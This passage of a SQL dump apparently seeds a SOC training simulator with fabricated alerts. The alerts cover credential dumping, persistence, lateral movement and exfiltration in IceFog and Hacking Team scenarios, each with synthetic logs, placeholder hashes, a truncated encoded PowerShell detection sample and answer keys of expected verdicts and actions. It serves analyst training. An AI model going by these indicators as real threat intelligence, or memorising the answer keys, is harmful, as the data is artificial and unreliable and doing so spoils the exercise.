2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"host_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"modified_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\evil_script.vbs\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"added\\\",\\\"indicator\\\":\\\"persistence_attempt\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.174Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"host_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"modified_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\evil_script.vbs\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"added\\\",\\\"indicator\\\":\\\"persistence_attempt\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.174Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"host_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"modified_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\evil_script.vbs\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"added\\\",\\\"indicator\\\":\\\"persistence_attempt\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1510, 'Credential Dumping Activity Detected', 'high', 'Active Directory Logs', 'Anomalous credential harvesting activities detected from an internal host indicating potential lateral movement by the IceFog APT group. The attacker is utilizing compromised credentials to access additional systems within the network.', 'Credential Access', 'T1003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:21Z\",\"event_id\":\"4625\",\"logon_type\":\"3\",\"source_ip\":\"192.168.1.101\",\"destination_ip\":\"10.0.0.5\",\"username\":\"john.doe\",\"domain\":\"corp.local\",\"process_name\":\"lsass.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"attacker_ip\":\"203.0.113.45\",\"activity\":\"Suspicious credential access attempt\",\"status\":\"Failed logon\"}', '2026-03-15 19:09:15', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal monitoring\",\"verdict\":\"internal\",\"details\":\"Internal host initiating suspicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with credential dumping tools.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal directory\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(1511, 'Data Exfiltration Alert', 'high', 'Network Traffic Analysis', 'In the final stage, IceFog initiates data exfiltration, targeting sensitive defense documents and transferring them to external servers under their control.', 'Data Theft', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:54Z\",\"src_ip\":\"10.0.1.25\",\"dst_ip\":\"203.0.113.45\",\"src_port\":443,\"dst_port\":8080,\"protocol\":\"HTTPS\",\"user\":\"jdoe\",\"file_name\":\"confidential_defense_docs.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"exfiltration_attempt\",\"status\":\"success\"}', '2026-03-15 19:09:15', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used to initiate connection.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known external server associated with IceFog APT.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_defense_docs.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive defense-related documents.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known exfiltration malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised to perform data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1512, 'Suspicious Network Activity Detected', 'high', 'Network Intrusion Detection System (NIDS)', 'Anomalous traffic from an external IP address has been detected entering the Hacking Team network, indicating a potential unauthorized access attempt. The traffic pattern suggests initial access efforts to compromise the network perimeter.', 'Initial Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T02:35:27Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"protocol\":\"TCP\",\"destination_port\":3389,\"alert_signature\":\"Suspicious RDP Traffic\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"payload.exe\"}', '2026-03-15 19:09:29', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Database\",\"verdict\":\"malicious\",\"details\":\"Known to be associated with APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"Internal server used for RDP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used in recent attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis Service\",\"verdict\":\"malicious\",\"details\":\"Executable file used to deploy malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1513, 'Execution of Malicious Payload', 'high', 'Endpoint Detection and Response (EDR)', 'Following initial access, the attacker executes a malicious payload designed to exploit zero-day vulnerabilities within the network. The payload is identified to be associated with known APT tactics.', 'Execution', 'T1059 - Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:00Z\",\"event_id\":\"EDR-2023-0912\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.2.3\",\"user\":\"jdoe\",\"filename\":\"malicious_payload.exe\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"event_type\":\"execution\",\"process_command_line\":\"C:\\\\malicious_payload.exe --exploit\",\"severity\":\"high\",\"indicators\":{\"ip\":\"203.0.113.45\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"user\":\"jdoe\"}}', '2026-03-15 19:09:29', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious payload used by APT.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Regular user account within the organization.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1514, 'Establishing Persistent Access', 'high', 'System Logs', 'The attacker has successfully established persistence on the compromised system by installing a backdoor and creating a scheduled task. This allows them to maintain access despite security controls.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:47Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.25\",\"destination_ip\":\"10.0.0.45\",\"username\":\"admin_user\",\"process_name\":\"backdoor.exe\",\"process_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"scheduled_task\":\"persistent_task\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\backdoor.exe\",\"event_description\":\"Scheduled Task Created for Persistence\"}', '2026-03-15 19:09:29', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal company IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known backdoor malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security Logs\",\"verdict\":\"malicious\",\"details\":\"Filename used by malware to maintain persistence.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Privileged account used to schedule the task.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:47Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.25\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"scheduled_task\\\":\\\"persistent_task\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"event_description\\\":\\\"Scheduled Task Created for Persistence\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:47Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.25\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"scheduled_task\\\":\\\"persistent_task\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"event_description\\\":\\\"Scheduled Task Created for Persistence\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:47Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.25\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"scheduled_task\\\":\\\"persistent_task\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"event_description\\\":\\\"Scheduled Task Created for Persistence\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:47Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.25\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"scheduled_task\\\":\\\"persistent_task\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"event_description\\\":\\\"Scheduled Task Created for Persistence\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.271Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:47Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.25\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"backdoor.exe\\\",\\\"process_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"scheduled_task\\\":\\\"persistent_task\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"event_description\\\":\\\"Scheduled Task Created for Persistence\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1515, 'Lateral Movement Across Networks', 'high', 'Internal Network Monitoring', 'Using established persistence, the attacker moves laterally through the network, accessing sensitive data and systems within the Hacking Team infrastructure.', 'Lateral Movement', 'T1570: Lateral Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"LM-20231012-003\",\"source_ip\":\"10.1.2.15\",\"destination_ip\":\"10.1.3.45\",\"malicious_ip\":\"185.143.223.45\",\"username\":\"j.doe\",\"file_hash\":\"d9f8eea7be5c3c1d4f1057a3b8cabf3c\",\"filename\":\"malicious_payload.exe\",\"action\":\"File Transfer\",\"protocol\":\"SMB\",\"network_context\":{\"internal_network\":\"Hacking Team\",\"external_network\":\"Internet\"}}', '2026-03-15 19:09:29', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.3.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal network logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target host.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"185.143.223.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT group.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d9f8eea7be5c3c1d4f1057a3b8cabf3c\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash of known malicious payload used for lateral movement.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Executable used for lateral movement.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal HR records\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1516, 'Data Exfiltration Detected', 'critical', 'Data Loss Prevention (DLP) System', 'The final stage of the attack involves exfiltrating critical data, including zero-day vulnerabilities and customer lists, posing a significant risk to the surveillance industry.', 'Exfiltration', 'T1041', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:58Z\",\"alert_id\":\"DL-2023-EXFIL-0005\",\"detected_action\":\"Data Exfiltration\",\"source_ip\":\"192.168.45.12\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"filehash\":\"b1946ac92492d2347c6235b4d2611184\",\"filename\":\"customer_list_secret.xlsx\",\"protocol\":\"HTTPS\",\"exfiltration_size\":\"2.5GB\",\"malware_associated\":false,\"internal_network\":true}', '2026-03-15 19:09:29', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP has been associated with multiple exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.45.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of suspected compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with frequent DLP alerts.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"HR Records\",\"verdict\":\"clean\",\"details\":\"Active employee, but credentials may be compromised.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"customer_list_secret.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP Logs\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file flagged for unusual access and transfer.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.327Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:58Z\\\",\\\"alert_id\\\":\\\"DL-2023-EXFIL-0005\\\",\\\"detected_action\\\":\\\"Data Exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filehash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"filename\\\":\\\"customer_list_secret.xlsx\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"exfiltration_size\\\":\\\"2.5GB\\\",\\\"malware_associated\\\":false,\\\"internal_network\\\":true}\"},{\"timestamp\":\"2026-03-15T20:57:15.327Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:58Z\\\",\\\"alert_id\\\":\\\"DL-2023-EXFIL-0005\\\",\\\"detected_action\\\":\\\"Data Exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filehash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"filename\\\":\\\"customer_list_secret.xlsx\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"exfiltration_size\\\":\\\"2.5GB\\\",\\\"malware_associated\\\":false,\\\"internal_network\\\":true}\"},{\"timestamp\":\"2026-03-15T20:56:15.327Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:58Z\\\",\\\"alert_id\\\":\\\"DL-2023-EXFIL-0005\\\",\\\"detected_action\\\":\\\"Data Exfiltration\\\",\\\"source_ip\\\":\\\"192.168.45.12\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filehash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"filename\\\":\\\"customer_list_secret.xlsx\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"exfiltration_size\\\":\\\"2.5GB\\\",\\\"malware_associated\\\":false,\\\"internal_network\\\":true}\"},{\"timestamp\":\"2026-03-15T20:55:15.327Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 